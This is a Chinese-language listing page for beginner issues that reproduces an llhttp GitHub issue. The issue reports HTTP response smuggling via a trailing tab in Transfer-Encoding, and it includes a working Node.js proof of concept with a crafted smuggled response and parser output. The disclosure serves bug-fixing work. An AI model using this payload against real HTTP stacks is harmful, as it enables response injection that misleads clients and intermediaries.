Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`

未关闭
#876 1 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

维护者通常 6 天内回复

还没有人认领这个 Issue。

评估

难度
4/5
预计耗时
3-5 天
新手友好度
52/100
Issue 类型
缺陷
描述清晰度
基本清楚
活跃度
活跃

调研方向

先从 header_value_te_chunked_last 和 header_value_te_token 路径开始,然后检查 forbidAfterChunkedInRequest 和 lenient_transfer_encoding 如何影响响应解析。复现提供的 Node.js PoC,并验证尾随 HTAB 是否按已剥离的 OWS 处理,同时确保使用 chunked framing、正确传递 body 以及一致的消息边界。

由索引模型根据 Issue 内容生成。

描述

RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.

Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.

PoC

const http = require('http'), net = require('net');

const RESP =
  'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' +   // note the trailing TAB
  '5\r\nhello\r\n0\r\n\r\n' +                                   // a complete chunked body
  'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!';      // a second, separate response

const origin = net.createServer(c =>
  c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));

origin.listen(0, () => http.get({ port: origin.address().port }, res => {
  let body = '';
  res.on('data', c => body += c);
  res.on('end', () => {
    console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
    console.log('res.complete                     =', res.complete);
    console.log('body                             =', JSON.stringify(body));
    origin.close();
  });
}));
res.headers['transfer-encoding'] = "chunked"
res.complete                     = true
body                             = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"

Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.

The same bytes, parsed with the tab stripped, yield a different message count:

tab NOT stripped (llhttp):   headers_complete chunked=0 keepalive=0   body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped:                headers_complete chunked=1 keepalive=1   body(5) 'hello'   message_complete
                             headers_complete status=200 content_length=9  body(9) 'INJECTED!'  message_complete

One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.

主要语言
TypeScript
星标
2k
派生
236
平均合并
5 天 2 小时
30 天内合并 PR
1

环境准备

  • 提供 Dockerfile 或 Docker Compose 文件
  • 没有 Pull Request 模板
  • 阅读贡献指南

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

nodejs/llhttp 的其他 Issue

查看 nodejs/llhttp 的全部 Issue

相似的 Issue

更多 TypeScript Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。